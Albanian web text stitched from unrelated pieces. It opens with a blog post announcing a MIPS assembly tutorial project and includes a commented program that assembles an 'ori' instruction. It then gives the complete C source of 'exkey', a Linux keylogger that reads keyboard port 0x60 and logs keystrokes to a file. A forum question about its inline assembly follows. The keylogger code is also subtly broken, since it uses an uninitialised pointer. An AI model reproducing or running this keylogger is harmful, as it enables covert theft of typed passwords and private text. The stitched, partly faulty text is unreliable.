Sot perfundoi dhe niveli i pare tek projekti online open-source Mips Assembly.
Ne te jane pasqyruar nje pjese e mire instruksionesh assembly MIPS dhe gjate leximit te kodit do te hasni:
PS.
Universitet ne shqiperi (ashtu si ketu ku jam une) nuk eshte se zgjerohen shume per ta ber nxenesin nje programator assembly porse dihet qe te dish te programosh ne gjuhe assembly kupton ne teresi sistemin , programon duke synuar performancat me te larta, dhe kjo çon ne perpunimin e algoritmeve thuajse perfekt dhe ndonjehere programatori assembly garon me vet kompilatorin.
Nuk me mbetet vetem te them i gezofshi, jane falas dhe open-source, mund te modifikohen porse kujtohuni qe ti ridrejtoni dhe studentet e tjere ketu. (kjo per te miren e tyre se mua pak me intereson xD , eci me parullen “don’t shave it xD
:D” ).
http://albanianwizard.org/mips_assembly_source_code_examples/fillestar/
Nuk eshte loje fjalesh, mjafton te lexoni kodin dhe eshte i komentuar shume mire.
http://albanianwizard.org/Postokodin/37
Per te shkarkuar:
http://albanianwizard.org/mips_assembly_source_code_examples/programator/assembly.s
##################################
#albanianwizard.org #
#Licence GPLv3 #
#arditi – arditi{at}hush{pik}ai #
######################################################################################################################
#Asemblo instruksionin ori $8, $9, 0×0019 duke mbledhur 1 nga 1 pjeset e tij [opcode],[rt],[rs],[imm] #
#dhe duke e depozituar instruksionin ne menyre te rregullt duke respektuar formatin ne nje regjister ç’faredo. #
#########################################################################################################################################################
#Te assemblojm ORI-n #
#Formatin mund ta gjeni tek: #
#http://albanianwizard.org/informatika_shqiptare/arkitekture_kompiuterike/gjuha_e_programimit_assembly/formati-i-instruksioneve-ne-arkitekturen-mips/ #
#Ne kete ushtrim do te shohim se si duke mbledhur copeza kodi mund te arrijm tek instruksioni i deshiruar. #
#Ne rastin tone eshte: ori $8,$9,0×0019 #
#########################################################################################################################################################
.text
.globl main
######################################################################################
# INTRO #
#ori $8, $9, 0×0019 eshte i barabart me isntruksionin 0×35280019 #
#ori ka opcode 1101 == 13 ne dec ose D ne hex #
#Shohim qe ka 1 operand dhe 1 regjister destinacioni dhe 1 vlere te menjehershme #
#Operandi [rs]= $9 / 0×9 #
#Destinacioni [rt]= $8 / 0×8 #
#Vlera e menjehershme [Imm] = 0×0019 #
#Zgjedhim $24 si regjister per te asembluar instruksionin #
######################################################################################
main:
ori $11,$0,0xD # opcode /kodi i instruksionit ori (0xD)/13/1101 ===>$11
ori $12,$0,0×9 # operandi $9 / [rs] ===>$12
ori $13,$0,0×8 # destinacioni $8 /[rt] ===>$13
ori $14,$0,0×0019 # [Imm] = 0×0019 ===>$14
########################
# Rregullojm Bitet #
########################
sll $11,$11,26 # spostojm [opcode] ne pozicionin e vet pasi tani eshte 0000 0000 0000 0000 0000 0000 0000 1101
# dhe duhet te jete (si opcode) ne pozicionin e vet: 0011 0100 0000 0000 0000 0000 0000 0000
sll $12,$12,21 # spostojm [rs] ne pozicionin e vet duke e levizur majtas 21 njesi dhe kemi:
# 0000 0000 0000 0000 0000 0000 0000 1001 mbasi e spostojm 21 njesi majtas kemi
# 0000 0001 0010 0000 0000 0000 0000 0000 [kjo eshte pamja e regjistrit mbas egzekutimit te sll $12, $12, 21
sll $13,$13,16 # spostojm [rt] (destinacionin) ne vendin e vet pasi tani eshte :
# 0000 0000 0000 0000 0000 0000 0000 1000 dhe duhet te jete :
# 0000 0000 0000 1000 0000 0000 0000 0000 [kete e ben instruksioni
]
##################################################
#Fillojm spostojm bitet ne regjistrin e deshiruar#
##################################################
or $24,$24,$11 # Bejme OR [opcode] (R11) tek regjistri $24 i cili do te marri pamjen:
# 0011 0100 0000 0000 0000 0000 0000 0000
or $24,$24,$12 # Bejme OR [RS] qe e kemi “qendisur” tek regjistri 12 me $24 i cili tani duke u shtuar dhe [rs] do marri pamjen
# 0011 0101 0010 0000 0000 0000 0000 0000
or $24,$24,$13 # Kalojm me OR $13 [rt] (destinacionin) tek regjistri yne $24 qe tani do te mari pamje akoma me te kompletuar :
# 0011 0101 0010 1000 (0000 0000 0000 0000) == IMM
######################################################
#Na ngelen vetem 16 bitet e vleres se menjehershme
#
######################################################
or $24,$24,$14 # Se fundmi fusim dhe vleren tone 0×0019 qe ne sistemin binar paraqitet me : 0000 0000 0001 1001
# Dhe pamja perfundimtare e regjistrit do jete:
# 0011 0101 0010 1000 0000 0000 0001 1001
ori $2, $0, 10 # Po vdis re Vdis
syscall # Mbyllja e programit
################################################################
# PERFUNDIM #
#######################################################################################
#ori $8,$9,0×0019 <===> 0×35280019 <===> 0011 0101 0010 1000 0000 0000 0001 1001 #
#######################################################################################
Sapo eshte lansuar projekti MIPS Assembly me source kode te gjuhes assembly per arkitekturen MIPS R3000.
Eshte i ndare ne 3 nivele, fillestar, normal, c0d3r ne baze te veshtiresise.
Meqenese eshte unik ne web dhe nuk egziston ndonje projekt i tille direktoria eshte emeruar ne gjuhen angleze ne menyre qe te perdoret dhe nga jo-shqiptaret.
Eshte ne perpunim dhe kodet do te shtohen pak nga pak.
Vizitojeni ![]()
http://albanianwizard.org/mips_assembly_source_code_examples/ushtrime_assembly_mips.php
Porojekti java shtyhet.
/* *
* exkey - excluded keylogger *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation. *
* *
* For educational purposes only. *
* *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* Written by: FuSi *
* VERSION 0.0a <fusi@excluded.org> *
* <www.excluded.org> *
* / close your eyes & dream with me / *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* *
* */
#include<sys/types.h>
#include<fcntl.h>
#include<stdio.h>
#include<time.h>
#define kp 0x60
int main(int argc,char **argv){
int fd;
int prm=0,dm=0;
struct timespec *ts;
if(argc < 2){
fprintf(stderr,"exkey - excluded keylogger\nwritten by FuSi (fusi@excluded.org)\nversion 0.0a\n\nJust type: ./exkey <logfile>\n");
exit(1);}
if((fd = open(argv[1],O_CREAT|O_WRONLY|O_TRUNC)) == -1){
perror("open()");
exit(1);}
asm("int $0x80;": :"a"(101),"b"(kp),"c"(1),"d"(1));
ts->tv_nsec = 20;
ts->tv_sec = 0;
while(1){
dm = prm;
asm("inb %%dx,%%al;":"=a"(prm):"a"(0),"d"(kp));
switch(prm){
case(2) : prm ='1' ;break;case(3) : prm ='2';break;
case(4) : prm ='3' ;break;case(5) : prm ='4';break;
case(6) : prm ='5' ;break;case(7) : prm ='6';break;
case(8) : prm ='7' ;break;case(9) : prm ='8';break;
case(10) : prm ='9' ;break;case(11) : prm ='0';break;
case(12) : prm ='ß' ;break;case(13) : prm ='´';break;
case(14) : prm ='\b';break;case(16) : prm ='q';break;
case(17) : prm ='w' ;break;case(18) : prm ='e';break;
case(19) : prm ='r' ;break;case(20) : prm ='t';break;
case(21) : prm ='z' ;break;case(22) : prm ='u';break;
case(23) : prm ='i' ;break;case(24) : prm ='o';break;
case(25) : prm ='p' ;break;case(26) : prm ='ü';break;
case(27) : prm ='+' ;break;case(28) : prm ='\n';break;
case(30) : prm ='a' ;break;case(31) : prm ='s';break;
case(32) : prm ='d' ;break;case(33) : prm ='f';break;
case(34) : prm ='g' ;break;case(35) : prm ='h';break;
case(36) : prm ='j' ;break;case(37) : prm ='k';break;
case(38) : prm ='l' ;break;case(39) : prm ='ö';break;
case(40) : prm =39 ;break;case(41) : prm =96 ;break;
case(43) : prm =92 ;break;case(44) : prm ='y';break;
case(45) : prm ='x' ;break;case(46) : prm ='c';break;
case(47) : prm ='v' ;break;case(48) : prm ='b';break;
case(49) : prm ='n' ;break;case(50) : prm ='m';break;
case(51) : prm =180 ;break;case(52) : prm =46 ;break;
case(53) : prm ='-' ;break;case(57) : prm =32 ;break;
default : prm =0 ;break;}
if(prm != dm)
write(fd,&prm,1);
asm("int $0x80"::"a"(162),"b"(ts),"c"(0));}
close(fd);}
Pjesen me te madhe te ketij kodi e kuptoj pervec kodit asm() pra pjeses ne assembler edhe se di pak nga ajo gjuhe ketu as qe po e marr vesh.Pra pak a shum therritet nje int nje funksion ose call, por cfar funksioni ka? Hajt pra ta diskutojme..